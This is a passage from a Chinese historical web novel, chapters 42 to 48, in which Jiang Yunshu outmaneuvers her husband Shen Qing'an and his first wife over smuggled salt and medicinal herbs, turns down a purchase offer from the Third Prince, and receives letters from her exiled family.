姜云舒倒也没准备当着邢恪的面儿动手,摆摆手让月禾停下,转而看向邢恪。 “还请邢大人还我清白。” “本官办案,讲究证据确凿,沈大人,你的货既有封条,不如请你亲自确认。” 说完,邢恪摆摆手,便有衙役抬着一箱子药材过来。 装药的箱子上封条完好,没有被动过的痕迹,衙役当着沈清安的面儿打开,药材下面,藏着和之前同样的布袋子。 的确证据确凿。 “不可能,这怎么可能!”此刻,沈清安眼中才出现慌乱。 这批药他是亲自确认过的,里面怎么会有盐? 可即便他否认,事实摆在面前,说什么都没用。 姜云舒从京兆府出来时,高芝兰的哭喊声还没断。 上了马车,月禾将备好的点心拿过来,忍不住得意。 “只依靠封条确保,他们可真是落伍呢,沈清安和那高氏怎么都不会知道,若是小姐,即便不动封条也能拆箱。” 说着,月禾又给姜云舒倒了一杯茶,”可真是出了一口气!” 药王谷的药材,乃天下药商追逐之巅,其中也有不少药商假冒,是以药王谷多次改良包装,如今的包装方式还是姜云舒设计的。 不过,出口气不是重点,重点是将沈清安和高芝兰扣押在京兆府,姜云舒才有机会进入沈清安的书房调查。 “今晚你做好准备,我们这样的机会并不多。”姜云舒低头抿一口茶。 天色还早,姜云舒随车队将药材运送到崇光寺山脚下,将买来的药材秧苗交给庄子上调来的管事。 春季中旬,正是种植的好时机。 沈府。 姜云舒朝揽芳院走着,刚从桥廊下来,就见老夫人在吉祥搀扶下急匆匆走过来。 “哎呦,这是什么无妄之灾啊!药材被抢了不说,人怎么还扣下了!” 老夫人扯着嗓子嚎,到了跟前,一把抓住姜云舒的手,“云舒,大郎可是你的夫君,你不能见死不救啊!” 姜云舒锦绣的衣衫被拽出了褶皱,下意识蹙起眉,正准备开口,却听熟悉的声音自身后传来。 “你儿子犯法,姜云舒又不是天王老子,怎么救?更何况,天子犯法与庶民同罪,你家那怂货要是没做,京兆尹还能冤枉他不成?” 众人随着声音转身,就见裴钰大摇大摆地走了过来。 “这肯定有什么误会,大郎可是戴功回京!”老夫人红着眼反驳。 裴钰挑了挑眉,不置可否。 姜云舒瞧着这俩人,一时只觉无语。 “你怎么又来了?”她问。 之前去崇光寺时,裴钰只说有事便走了,这才不过一个时辰,他怎么又来了? “啊,我就是来问问,你什么时候把那一脸倒霉相的软脚虾休了。”裴钰朝姜云舒眨眨眼,“你再考虑考虑我呗,我可不会私自贩盐。” 姜云舒没回答,老夫人却惊叫一声。 “你!” 话还没说完,眼看着白眼一翻就要厥过去,还是吉祥有经验,紧忙给她塞了一颗保心丸,指挥着下人将老夫人带走。 裴钰一脸无辜朝姜云舒撇撇嘴,“跟我没关系啊。” 姜云舒懒得与他计较,“所以,你急忙忙过来,是有什么事?” 提及正事,裴钰玩味的表情也严肃下来,“走,去你那里说。” 揽芳院。 进屋,月禾刚将门关上,裴钰便凑过来,迫不及待开口。 “审过了,岩城车队里那几个的确是军营中人,隶属信阳侯手下的铁甲营。” 第43章 沈清安在隐藏的东西 “信阳侯?”姜云舒挑烛心的动作一顿。 信阳侯是六皇子的外祖,涉及党争,信阳侯与三皇子明争暗斗倒也正常,可信阳侯怎么会跟沈清安有联系? 更何况,之前姜云舒提及她的药会以低市场三成的价格卖给信阳侯府时,芷妃的反应也很正常,而且,当日在崇光寺,信阳侯府闵太君将沈清安众人轰出崇明殿,怎么看,沈清安也不是信阳侯要用的人。 “这事另有蹊跷。” 姜云舒手上动作继续,随着烛心剪断,火光突的一下,窜了起来。 “我也是这样觉着,不过,这条线到底没断,我再接着查。” 裴钰自顾倒了一杯茶,清嗓子般饮一口,话题一转,“对了,我还收到消息,渊政王府的队伍已经到了襄城,按路程来算,这个月底就能进京。” 渊政王府,那个嗜杀成瘾的活阎王么…… 姜云舒的表情映衬在烛光之下,幽深的眸中似是缠绕起让人看不透的复杂。 她半晌没开口,脑子里分明什么都没想,却在裴钰提及“渊政王府”四个字时,脑子里莫名闪过那双阴骛冷煞的眼睛。 那双眼睛,同样嗜杀。 夜幕低垂,暮色渐浓,天空之中逐渐弥漫起一层化不开的薄雾,原本喧闹的沈家也逐渐消匿了声息。 “好了,夫人已经歇下了,你们也回去吧,这里有我守着。” 月禾出门,朝揽芳院众人吩咐一声。 众人应,四散回房,就在各屋落灯时,一道黑影自揽芳院翻墙而出。 正是趁夜准备潜入沈清安书房的姜云舒。 躲过巡逻家丁的视线,姜云舒直奔沈清安的清竹园。 自回京之后,沈清安虽夜夜会去高芝兰的汀兰院,但都并未留宿,每到各院落灯,他总会回清竹园。 说起来,沈清安勤于政务,每日宿在书房倒也不算奇怪,可怪就怪在,除了他身边的小厮子固,其他下人一概不得入内,便是丫鬟来送吃食,也是在外面交给子固,再由子固带进去。 这般谨慎,倒是显得欲盖弥彰了。 同样,也正是因为这样的谨慎,姜云舒这次才不得不做局将沈清安和高芝兰扣押在京兆府。 姜云舒很快到了清竹园,外面守卫不严,进入内院倒比想象中顺利得多。 清竹园各处摆设布置原是姜云舒亲自安排,如今看来,很明显有几处变化。 时间紧急,姜云舒来不及多理会这些,她的目的在于书房。 然而,就在她准备进书房时,冷不丁想起什么,再次回头看向院内摆放。 院内摆设几处变动,方位变化,风水改变,这是阵。 黑夜之中,姜云舒清冷眸中更添了一丝幽沉。 沈清安何时对奇门数术有所涉猎了? 亦或者说,他对于书房之中的东西太过紧张,需要用这些来保证安全? 不管是哪种,姜云舒此刻面向书房的方向,心口有股莫名的兴奋往上涌。 再等等,现在还不是打草惊蛇的时候,这阵法不能硬闯,那么,便让沈清安主动带她进来。 翌日。 晨光熹微,窗外鸟鸣声声,唤醒了沉睡中的沈府。 当然,这一晚,沈府各院主子们不约而同地失眠了。 老夫人自然是担心沈清安和高芝兰回不来,着急上火地一晚上没睡着,沈长元虽年纪小,却也记着老夫人说过,如果他爹娘出事,就真没人要他了,一时也紧张害怕,辗转难眠,就连姜云舒也难得没睡好。 想了一晚上都没想到那阵法的渊源,早知道那些年真该更认真随师父学奇门数术才是! 睁眼想了半夜,到天快亮时才睡着,谁知刚睡没一会儿,就听院外有人说话。 姜云舒不悦地拧起眉,却听是吉祥。 “月禾,让吉祥进来吧。”她慵懒开口。 吉祥进来,直接道:“沈大人和高夫人回来了,老夫人请您过去一趟。” 回来了? 姜云舒眉心一挑,比她想象中快了许多,看来,沈清安还是有些手段。 一炷香后,姜云舒梳妆妥当才出门,到福寿园时,尚未进屋,便听得里面怨怼之气直冲屋顶。 “这件事显而易见,必定是姜云舒在背后使绊子,她对于我的出现心生怨恨,自知不能得到相公的心,便设计陷害,这般恶毒心肠之人,怕是要毁了我沈家!” 高芝兰的声音似是嚼碎了从齿缝中挤出,字字句句带着咬牙切齿的愤怒和怨毒。 “呵,高夫人这么了解我,莫不是我亲口告诉你的?” 清亮的声音自门外传来,引得众人纷纷扭头,一时间,原本热闹的屋子里瞬间鸦雀无声,众人表情各异。 尤其是高芝兰,义愤填膺的指控被姜云舒当面质问,一时间,尴尬和窘迫过后,那张脸便也跟着涨红了。 沈清安也阴着一张脸,自京兆府一夜之后,此刻看向姜云舒,嫌恶之意再明显不过。 呵,果然习惯了仗势压人,如今依仗的娘家没了,便开始耍心机陷害,姜云舒这样的女人,果真不能对她有一丝仁慈怜悯! “哼,大家心知肚明,你又何必装傻!”沈清安看向姜云舒,眼中红血丝蔓延,“姜云舒,你果然是在报复我!” “你只一句‘心知肚明’,那就说明,你们还是没有指认我的证据。” 姜云舒迎着沈清安的视线看去,清晨的凉意都不及她眼底寒凉,“首先,我预定药草秧苗在三月之前,行踪和路线皆可查证,并不能提前预料到会在半路捡到你的货,其次,我原本不知那是你沈大人的车队,何来针对你们?最后,我帮你拦截回一马车的药材,减少了你的损失,你谢我反而口口声声污蔑我!” 她侧目,视线在高芝兰身上扫过之后,再次与沈清安对视。 “遇事不先问责自身,反而空口白话污蔑他人,这便是你沈大人眼中的贤良淑德?” 一句话,问得沈清安面色僵沉,他张张嘴,却只觉面上火辣辣的疼,却说不出一句反驳。 他眉头凝蹙,良久才开口,“芝兰不过是焦心,既然你与那山匪交手,你可知是哪个山头的?” 哪个山头? 姜云舒不着痕迹地挑了下眉梢,她如果知道是哪个寨子,定会掘了他的老巢! 第44章 三皇子 姜云舒压下窜起的怒意,仰头看沈清安,“平洲山匪扰民十多年都未能镇压,怎么,沈大人有办法?” 沈清安眉间闪过一丝烦躁。 姜云舒也没想听他的回答,随即接着说:“山匪来历我不清楚,我这听他们说要将货物带回寨子里,沈大人身边赤羽卫厉害,索性让他们平了那一片的匪窝,丢的药材自然能找回来。” 这话带着明显的讽刺,沈清安原本就低沉的面上更显阴郁。 “用不着你担心!”他瞪着姜云舒,咬牙开口。 听他们这对话,老夫人手里的茶都喝不下去了,忍不住问:“这药材追不回来,是不是药铺也开不起来了?” 要是开不起来,那她的分红怎么办? 高芝兰顿时像是受了什么委屈一般,掩面而泣,老夫人更慌了,拍着大腿唉声叹气。 “哎哟,造孽啊!我沈家好不容易在京城扎根,往后的日子可怎么办啊!” 虽说这些年岩城那边一直供着沈家花销,倒也还算衣食无忧,可随着沈清安仕途平稳,往后接触的人物都是朝中显贵,人物往来自然更要排场,单凭岩城那点银子,可撑不起他们奢华的生活。 一边是老夫人呼天喊地,身边又是高芝兰低低啜泣,沈清安只觉心中烦躁不已。 “好了,草药之事,我自会想办法!”他恹恹地打断两人。 姜云舒喝茶的动作微顿,唇畔勾起一抹不算明显的冷笑。 想办法吗,沈长元进入崇文书院的办法,他似乎也还没想出来。 麦熟过后,崇文书院便要开学,留给他的时间不多了。 平洲,祁山谷。 自悬崖边上延展出的松树上,一身着玄色直襟长袍的男子斜斜地倚在枝干上小憩。 男子额头宽阔,鼻梁高挺与脸部线条相得益彰,他闭着眼睛,眉宇之间依旧透着强烈的凛然志气。 此人正是不远万里前来京城为质的渊政王府世子,谢无烬,亦是那被称为人间杀戮的活阎王。 “世子,带回来的药材已经全部重新包装完成。” 此刻,侍卫首领卫临风上前汇报。 听得声音,那双闭着的眼睛睁开,浓密睫毛似是掀开了天际,露出漫天星河,一道锐利的目光闪过,如刀锋划过,带着不容置疑的冷冽与压迫。 “嗯。” 他微微坐起身来,眼底慵懒散开,“沈家那边,查得怎么样。” “消息已经传回。” 卫临风上前,将收到的信递过去。 谢无烬伸手接过,垂眸扫过那纸条,幽沉的眸中尽是讥诮。 “呵,还以为她有多清醒聪明,如今看来,也不过是看脸的俗人。” 说着,他扭头朝卫临风看过去,“本世子相貌如何?” 卫临风冷不丁顿住,心中不由疑惑,世子向来只关心兵器护甲,什么时候开始在意相貌了? “世子五官俊朗,潇洒俊逸,风流倜傥,实乃凡夫俗子不可相提并论!” 这倒不是阿谀奉承,撇开战场之上杀伐狠厉,卫临风在军中多年,阅人无数,唯独谢无烬这张脸,是他见过最赏心悦目的,即便同为男子,亦让人忍不住多注目一瞬。 当然,也只是一瞬,若非身边信任之人,常人几乎连与他对视的勇气都没有。 卫临风的回答,让谢无烬很受用,他唇角微微勾起弧度,漫不经心地“哼”了一声。 “被抢回去的那车草药,如今是何去向?”谢无烬又问。 “沈夫……姜小姐将草药直接送去了京兆府,不过,京兆尹在草药中查出私盐,沈清安与那原配被扣押在了京兆府。”卫临风又道。 “私盐……”谢无烬低低重复一句,随即,唇畔笑容一下子漾开,“睚眦必报,果真是那位亲生的,完全随了她的性子。” “还有就是……”卫临风犹豫了一下,还是接着往下说,“随后,药王城也有一批药材进了京,是送到仁春堂的,姜姑娘便是那仁春堂的东家。” 谢无烬脸上的笑霎时如寒霜扫过,手中把玩的树枝“咔嚓”一声,断开。 “呵,还以为,她性子能有多烈,却依旧不过是争权夺宠的伎俩!她既下不了决心,我便推她一把。”他眸中闪过寒意,“卫临风,给京城送消息过去,盯紧药王城这批药,别让它落在沈清安手里。” “是!” 卫临风领命离开。 春日阳光明媚,谢无烬抬手,光线穿过指缝,落在他脖颈上坠着的那枚木雕的麒麟珠子上,包浆的金丝楠木光彩闪烁。 那年……她估计早就忘了,真是个没良心的女人! 揽芳院。 继岩城车队之后,姜云舒自药王谷调来的那批药草也到了京城。 得到消息,姜云舒收拾妥当便准备出门,却不想,刚到门口遇上了黑着脸回来的沈清安。 “你又要出门?”沈清安快步上前,阴着脸挡住去路,“身为女眷,整日抛头露面,成何体统!” 姜云舒停住脚步,唇畔微微勾起,语气却没有丝毫波动,“你在岩城三年,沈府上下大事小情,包括老夫人想参加名门宴会,都是我抛头露面得来的,你现在跟我说成何体统?” 沈清安被噎了一句,额间青筋绷紧。 “我知你辛苦,如今我回来了,你自不必再操持这些,日后……” “沈大人这话有失公正!”姜云舒仰头看他,微扬的眉梢透着寒凉,“你支持高氏开药铺,让她抛头露面,却让我潜居深宅,怎么,她的体统在沈家可以网开一面?” “你!”沈清安眉心拧得更深。 他的视线凝在姜云舒脸上,明明还是从前那般面容,可自这张脸后,他似乎再也不见那抹明媚,反而只剩冰冷的寒霜。 这不对。 面对心悦之人,不应该是姜云舒这般冷漠,不知为何,沈清安心里莫名生出了一丝难以名状的不安,这不安,又让他心里的烦躁更甚。 姜云舒没再理会他一脸复杂,收回视线,上前一步。 “让让。” 沈清安下意识让开,随即反应过来,姜云舒已经出了门。 马车一路到了仁春堂,刚进门,就见小二急慌慌迎了出来。 “东家,你可来了!”小二说话的功夫眼睛朝后看了一眼,随即压低声音禀报,“三皇子来了。” 第45章 想买她的药材 三皇子…… 姜云舒眸光微敛,平静的面上快速闪过一抹不经察觉的浅笑。 那批药没能得手,他急了。 “去将我上次带来的碧春莹泡了送上去。” 姜云舒吩咐一句,伸手提起裙摆朝二楼雅间走去。 此刻二楼雅间,韩掌柜正在里面接待,听得敲门声,谈话声停住。 “不是吩咐过,没事不准来打扰……” “听闻三皇子驾到,我吩咐店里特意泡了好茶送上来。” 外面传来姜云舒的声音,韩掌柜下意识看向三皇子,却见三皇子已经起身去开门。 “总算等到你来了。” 三皇子看到姜云舒,唇角勾起。 他身着黑色金边锦袍,明朗的五官自带亲和暖意,明媚之下还蕴藏着强大气场,不愧是那位身披铠甲定乾坤的皇后所生,三皇子天生自带一股威压,震慑力十足。 姜云舒同样露出笑意,上前一礼,“不知三皇子今日过来,是我怠慢了。” “无妨,是本王没提前打招呼,既然你来了,事情还是直接和你谈更好。” 说话间,三皇子朝韩掌柜看去。 韩掌柜不着痕迹的看向姜云舒,见姜云舒示意,这才往外走。 “我去下面候着,三皇子和东家有事便招呼我。” 说着,韩掌柜接过小二端上来的茶放在桌上,自外面关上了门。 “不知三皇子亲自过来,可是要定哪种药?”姜云舒一边问,抬手给三皇子倒了茶。 姜云舒是仁春堂的东家,这在京城上层关系之中并不是什么秘密,加之药王谷的渠道,王侯贵族之中常有夫人小姐来这里订制滋补养生药剂。 这开场白没有任何漏洞,不过三皇子今日似乎并不想拐弯抹角。 “听说,你拦截了一车来自岩城的草药?”三皇子直白开口。 “是。”姜云舒亦如实回答。 三皇子看着她,笑容很有几分兴味。 “你倒是幸运,双方两败俱伤时出现,鹬蚌相争,倒是你这渔翁得了利。”他盯着姜云舒,观察她的表情。 然而,姜云舒只是低头抿一口茶水,表情未有任何他想看到的紧张或者局促。 “三皇子消息灵通,昨日的事,今日便知道了,药材带回京城便上交了京兆府,或许,你应该夸我路不拾遗。” 姜云舒抬头,依旧笑容潋滟地迎着三皇子的审视,“至于拦路抢劫的山匪,我也遇上了,不过多亏段爷帮我安排的人武艺高强,否则,我的货也会成为那帮匪寇的囊中物。” 说着,她抬手拿起水壶,给三皇子面前的茶水续满,“别说是平洲,如今京城也多见流寇杀手,尤其是晚上出行,三皇子可要格外谨慎。” 这话说完,姜云舒眼神微敛,视线落在三皇子身上,一如刚才三皇子的审视,此刻她亦观察着三皇子的表情变化。 袭击六皇子的杀手,已经审讯结束,根据活口交代,各方联系都与三皇子无关,可越是无关,其中关系便越微妙。 “呵,难得你能关心本王,本王竟有些感动。”三皇子眼眸微动,眉梢轻挑,随即,话题一转,“听说,今日仁春堂又入了一批药材,药王城来的。” “是,药王城相距京城甚远,这批药材走了将近一月才到。”姜云舒平静回答。 “是么,这批药材远路而来,更显珍贵,这样,本王愿意加价一成,不如,将这批药材卖给本王如何?” 进城灾民已陆续朝京城靠近,灾民带来的除了安置压力,还有未曾可知的疫病,姜云舒备下的这批药,刚好应对水患之后常见疫病。 三皇子想要借助这次灾民安置向皇上邀功,这批药材就势在必得,偏偏他调回的药材被水拦截一时回不来,这才动了岩城药商车队的心思,奈何,螳螂捕蝉黄雀在后。 两条路都堵死了,眼下只有姜云舒这批药材能应急。 “三皇子这条件,的确足够诱惑,不过,这批药材是信阳侯府早就订下的,恕我不能毁约。” 姜云舒顿了一下,将杯盏放回桌上,“三皇子若是不急,我刚栽种了一批同属药材秧苗,开春后三月便能嫩芽抽枝,不过,价格会更贵一些。” “你想卖,总能想到办法的。”三皇子抬手,亲自给姜云舒的茶盏续满。 姜云舒低头看着杯盏,未动,一脸为难,“三皇子说笑了,锦州水患突然,一时拦截了药物运输的诸多通道,便是我仁春堂的药库也只有维系一两个月,信阳侯府订的这批药材是有数量的,自然不能动,我即便想卖给你,又从哪里变出多余的呢?” 这拒绝之意再明显不过,三皇子见她油盐不进,唇畔之间笑意收敛。 “所以,你定国将军府是要偏向老六?” 定国将军府对于太子立位,一向不偏不倚,三皇子这话是给姜云舒扣上了一顶参与党争的帽子。 姜云舒抬起头,笑意尽散,清眸之中多了几分郑重,“三皇子,定国将军府已经没了,如今在你面前的只是我姜云舒,我开门做生意,若两个月前下这批订单的是你,我也一定信守承诺,如期交付。” 许是姜云舒难得严肃,三皇子眼波流转,脸上再次扬起笑。 “这么认真做什么,便是只有你,你我也有儿时的情分,罢了,买卖不成仁义在。” 说着话,三皇子起身,正欲往外走,又回过头,“云舒妹妹,日后若有人为难你,尽管来王府找我。” “多谢。” 姜云舒眸中云雾尽散,迎着三皇子的视线,露出霁月清风般的神情,仿若那一瞬,又回到了儿时她来京城与诸位皇子公主在一起的场景。 那时,他们年纪还小,没有党争,没有权利争夺,正是天真烂漫的时候。 姜云舒起身送三皇子下楼,三皇子马车刚刚离开,转身往回走,却不想沈清安和高芝兰正在身后。 “你,你竟然是仁春堂的东家!” 高芝兰瞪大眼睛,不知是震惊还是激动,说话时嘴唇微微轻颤。 第46章 爹娘来信 姜云舒很快从诧异之中回过神来,面上虽未显露,心里无奈地叹一口气。 被他们发现了。 “你有什么事吗?” 一句话,算是承认了。 高芝兰却还没从震惊中缓过来,瞪着眼睛下意识开口,“既然你是仁春堂的东家,上次老夫人需要归心丸,你为什么不拿出来?事关老夫人,你怎可如此心肠冷硬!” 说着,她转身看向一旁的沈清安,这一次,沈清安没有回应她的眼神,他目光直直地落在姜云舒脸上,是震惊,是难以置信,还是什么复杂得让高芝兰捉摸不透的情绪。 似乎,沈清安终于意识到,他其实对姜云舒并不了解。 “呵,上次老夫人发病,正值你刚接手沈家中馈,若是没记错,是你提出要想办法的,你办事不利,怎的要怪罪在我头上?” 姜云舒眸光微敛,给了她一个无语的眼神。 高芝兰唇角颤了颤,无从反驳,便又开始关系绑架。 “你是沈家人,那归心丸关乎老夫人的性命,我是办事不利,可你难道不应该帮忙吗?”她说得理所当然。 “韩掌柜应该跟你说得很清楚,前几日刚来的药是庆王府老太妃预订,我动不得……” 姜云舒的话还没说完,高芝兰好像抓到什么把柄一般,直接打断。 “你说谎!当初明明说还有的!” “你知道?”姜云舒眉梢轻挑,唇畔带出的笑意带着一丝狡黠,“既然有,那用银子就能买到,你为何没能买回去,反而用假的糊弄呢?” 她面上带着笑,只是笑意不达眼底,反而透着一股莫名的寒凉,一瞬间,让高芝兰整个人都绷紧了神经。 到现在,她恍惚意识到,从韩掌柜当日“好心”为她开后门,透露东家有私藏,她就已经半只脚踏进了姜云舒的圈套。 她的确舍不得为老夫人花费那么大一笔巨款买虚荣,她只是没有料到,自己被姜云舒看穿,这才让她有了离间她和老夫人的机会,甚至,现在还离间她和沈清安。 高芝兰抿着唇,眼底愤恨浮现。 “你,你是东家,归心丸这么好的药,我不相信不给自己留下备用的。”眼神流转之间,高芝兰勉强开口说了个勉强还算是理由的说辞。 “我的行事习惯还轮不到你指手画脚,” 姜云舒懒得与她在这里浪费时间,侧目看向一旁的沈清安,“所以,你们来我仁春堂有何贵干?” 在姜云舒和高芝兰争论时,沈清安的视线一直在姜云舒身上,同时心里也闪过了无数设想,如今听得姜云舒问,这才回神。 “听说,仁春堂今日到了一批药材。”沈清安试探开口。 “没错,说起来,又是巧合,我这批药材与你们被抢的那批,种类大同小异。” 姜云舒承认,眼瞧着沈清安眸中闪过欣喜,她话锋一转,“想来你们刚才也看到了,三皇子自我这里空手而归,我对你们的答复亦如此,这批药是有人提前预定,我没有多余的。” 她没有明说提前预定的是信阳侯府。 说话间,就要转身往里走,却被高芝兰上前一步拦住。 “你是沈家人,如今沈家正等着这批药材开业,你自当以沈家为主!”高芝兰眸光闪烁,带着强烈的占有欲望。 对,是沈家给了姜云舒一席之地,如今沈家需要,她自然要贡献一份力量。 这不过分! 姜云舒偏过脸看她,唇角扬起,“所以,你那药铺打算给我几股分成?” “什,什么分成?”高芝兰一下子没反应过来,“这是沈家的产业,我与相公辛苦得来,为什么要给你分成?” “那就好笑了,不给我分成,却要我担着毁约赔款得罪人的风险把药材给你?” 姜云舒无语至极到笑出声,她不与高芝兰纠缠,转而看向沈清安。 “我如今是沈家人没错,可我大瑞自古以来,女子嫁妆和产业都是归个人的,沈大人不介意被诟病,我倒是可以用自己的东西贴补沈家。” 一句话,让沈清安原本阴沉面上又添一层寒霜,他眉心凝蹙,半晌,咬牙问道:“我可以加价一成买下你的药材。” 主动加价一成,那可不是小数目,姜云舒若识好歹理应见好就收。 然而,姜云舒偏偏就是那不知好歹的。 “我这人做生意诚信为本,答应的事情亦从不反悔,做生意如此做人亦是如此。” 不像有些人,哪怕起誓,也能理直气壮地矢口否认,也不怕遭雷劈。 姜云舒说话的同时,幽冷的目光凝视在沈清安脸上。 沈清安自然能听出她这话里的意思,额间青筋一下子绷了起来。 不是,姜云舒不应该是现在这样。 那年,他明明能感受得到她是喜欢自己的,他还记得,当时姜云舒与他见面时眼睛里闪烁着光彩,可是现在,他只看到她面上的平静和冷漠。 沈清安攥紧拳头,压住这种落差感带来的不安,咬牙开口,“姜云舒,你若一定要与我针锋相对,休怪我无情!” 威胁的话出口,他拂袖而去。 高芝兰见沈清安离开,一时没反应过来,怔愣瞬息,紧忙追了过去。 眼瞧着两人身影自街角消失,月禾忍不住朝两人离开的方向啐了一口。 “臭不要脸的,还真拿自己当根葱!” 啐完,她又转身看向姜云舒,“小姐,我总觉着他们要给咱们使绊子呢!” 虽说也不把他们放在眼里,可暗箭难防,到底得谨慎些。 姜云舒眼瞧着沈清安和高芝兰离开的背影,脑子里闪过无数思绪,可诸多的思绪缠绕在一起,让她无端生出一股烦躁。 “不必担心,我们是正经生意,合法经营,他若有本事让我栽了,我倒是会高看他一眼。” 说完,姜云舒收敛视线,转身往回走,抬头,却见冥风在二楼雅间,正朝她的方向看过来。 “我哥回来了,定是崖州那边传来消息,肯定是将军府和夫人有信送来!” 月禾压低了声音在姜云舒耳边悄声一句,提起裙摆朝仁春堂跑了进去。 第47章 带药入股 仁春堂,二楼雅间。 冥风将书信交到姜云舒手里。 “这是崖州来的信,上个月又有一波人动手,被将军的近卫队围剿了,不过来的是死士,没能留下活口。”他禀报。 姜云舒喝茶的动作一滞,匣子接过来,却没立刻打开,“可有损失?” “将军身边近卫一死两伤,二公子轻伤。”冥风如实回答。 姜云舒搭在匣子上的手指不自觉用力,关节处微微泛白,片刻,她幽幽开口。 “恭王府回京在即,看来,有些人着急了。” 流放两年,父母亲多次遇袭,有的留下活口,供出数人,每次背后势力都不同,更多的是死士,如这次,活口都留不下。 不是父亲对付死士没经验,而是这批死士动手前就服了毒,两个时辰内任务不成自会毒发身亡,阻止不了。 姜云舒没再说什么,将信展开,阿娘和爹爹对遇刺之事并未提及分毫,只说崖州这年寒冬,姜云舒派人送去的御寒物资救了很多的人命。 还有一件事,就是大嫂要随娘家恭王府众人一同回京了,信中还提及,大嫂生了一个孩子,如今已经三岁了。 看到这处,姜云舒原本平静的面上瞬间欣喜绽开。 那年定国将军府出事,她只知道大嫂是被提前送回了恭王府,并不知道那时候她也已经身怀有孕,大概是为了孩子考虑,爹娘便是连姜云舒都没透露,如今凭空得来个小侄子,姜云舒满眼的欣喜遮都遮不住。 看完信,姜云舒抬手以烛火引燃信纸。 “天气逐渐变暖了,崖州蛇蚁毒虫颇多,月禾,你去跟韩掌柜说一声,让他从药王谷调一批解毒药材送去崖州。” 此刻,姜云舒的语调都是轻快的。 三年了,她总算还能见到亲人,虽不是爹娘兄长,能见到大嫂和小侄子也是让人期待的。 日暮垂落,玄月高挂。 姜云舒回到沈府时,天都擦黑了,原本这个时候沈家人都准备歇了,如今却全都聚在福寿园,只等姜云舒回来。 “姜氏,我一概不反对你在外周旋,可你究竟是官员命妇,这么晚回来,难免遭人闲话。”老夫人端着长辈的架子。 姜云舒接过吉祥端来的茶,低头抿一口,对于老夫人的话不置可否。 老夫人顿时脸色更沉了几分,不过,到底惦记着今晚的目的,好歹将怒意压了下来。 “听芝兰说,你是仁春堂的东家?”老夫人再次开口。 这三年,老夫人只管享受姜云舒给她带来的便捷和舒适,并不知道姜云舒手里的生意有多大。 “嗯。”姜云舒不咸不淡的应一句。 老夫人蹙了蹙眉,又接着说:“你是仁春堂的东家那就好办了,你也知道,岩城来的那批药被抢劫,如今咱们沈家的药铺暂时不能开张,不如这样,用剩下的这车药材,入你仁春堂的股,你看如何?” 姜云舒喝茶的动作一顿,抬眼看向老夫人,她清眸幽冷,一时让人无法分辨喜怒。 老夫人莫名一阵心虚,下意识开口找补,“都是一家人,京城立足不易,如今定国将军府众人不在身边,日后有大郎在背后撑着,这生意才能长久。” 京城做生意,多少都是有点背景的,在老夫人看来,将军府指望不上,姜云舒就只能死死扒住沈家才能活。 姜云舒哪里不明白他们的盘算?先用一车草药入股,随后逐渐插手仁春堂的运作和管理,最后,在沈清安一步步算计之下,他们再将仁春堂收入囊中。 真真是好打算,好心机! 姜云舒没有回答老夫人,只抬头看向沈清安,此刻沈清安的视线亦在她身上,神情略显紧张,正等着她的回答。 见她不回答,沈清安开口保证,“你且放心,即便入股,仁春堂还是你说了算,芝兰会帮你管理,但决策上还是听你的。” “对,我在岩城也是做草药生意的,总比那些不懂的人强。”高芝兰仿佛瞬间一改前嫌。 姜云舒在沈家人注视下,低头抿了一口茶,再抬头,应下一个字。 “好!” 月禾没想到姜云舒会应,当时下意识要开口,却被姜云舒悄无声息的握住了手腕。 小姐不让她说话。 月禾虽心思不深,但她有个最大的优点,那便是姜云舒说什么是什么,从不揣摩亦不自作主张,按照小姐的示意做事就好。 沈家人没想到姜云舒就这么同意了,脸上顿时有兴奋浮现,不过,这兴奋尚未表现出来,又听姜云舒再次开口。 “不过,仁春堂去年的账余还没结清,沈大人要入股,需等到月底才行。” “等,自然是可以等的。”老夫人赶紧顺杆爬,“在此之前,就让芝兰先去铺面上熟悉熟悉,日后管起来也顺手。” 高芝兰面上表情复杂,既跃跃欲试,又有些不甘心,总之看起来很纠结。 相比高芝兰,姜云舒这被人算计的反而平静许多。 “可以。”她依旧淡淡回应一句。 老夫人没想到她这么痛快,一时事情谈成,便如从前一般,叮嘱姜云舒好好休息,少不得一顿关切。 若是以前,姜云说或许还能感动于父母不在身边还能获得这般疼惜,可如今,老夫人越是慈爱关心,她便越发感觉讽刺。 姜云舒没多停留,起身往外走,身后,一双略显灼热的目光凝在她的背影上,久久未曾离开。 沈清安心道,这才应该是姜云舒应该有的样子。 她慷慨大方,尤其对自己,向来有求必应,一如当初被自己迷得神魂颠倒一般。 他回想着从前,心中不免安定几分。 然而,他是安心了,旁边高芝兰瞧着他那眼神,双手忍不住攥起了拳头。 若非事出无奈,她怎会甘心被姜云舒压一头? 仁春堂又如何,若是那批药材没有被劫走,她在京城的药铺只会比仁春堂更兴隆! 更可恶的是,她意识到,沈清安动摇了。 不行,绝对不能让姜云舒再得意! 等那批草药弄到手,第一件事便是对仁春堂打擂台,以她的手段,挤兑到仁春堂关门大吉也不是没有可能。 这边姜云舒和月禾刚离开福寿园,两人自大路拐上长廊,四下无人,月禾便忍不住开口。 “小姐,沈家这帮豺狼虎豹明显是要算计咱们,你怎么能答应他们呢!”月禾鼓着脸,一肚子气。 姜云舒瞧她气鼓鼓的模样,忍不住勾起唇角。 “沈清安曾提及是被我定国将军府胁迫才与我成婚,定然不会安于被我压制,所以,入股仁春堂不是目的,他们的目的还是那批草药。” 第48章 耀武扬威 “哦……”月禾点点头,却又没全懂,“可是,让他们掺和进仁春堂,不是就更方便动手脚了?” “就是得让他们有机会动手啊。”姜云舒抬手,将随手捡来的石子投入走廊下的湖水中。 一颗石子落下,激起一阵水花,水波涟漪朝外侧荡开,扰乱了一湖平静。 月禾看着那动荡的湖水,忍不住叹一口气。 “小姐总是这样,每次都只跟哥哥计划,从不带着我,好像我很没用。” 月禾和冥风是亲兄妹,月禾是姜云舒的侍女,冥风便是侍卫,三人从小一起长大,相比稍显单纯的月禾,姜云舒遇事通常都是跟冥风商议,原没多想过,谁知这小丫头还醋了。 姜云舒扭头,瞧着她不满的表情,忍不住伸手在她脸上捏了一把。 “当然带着你,哪次到最后的时候不是让你动手?” 月禾似是认真的想了想,点头。 小姐说得对,每次行动的时候,的确是她打头阵来着。 翌日,清晨的阳光透过树梢,斑驳的落在地上,光影交错。 天初亮,高芝兰便早早出了沈府,一路朝仁春堂去了。 上一次,她是顾客,带着银子来买药,如今她是仁春堂的东家,是要指挥上下,收银子数钱的。 到了仁春堂,小二刚刚开了门整理药材和看诊台,抬眼间高芝兰来,表情不经意透出一丝不屑。 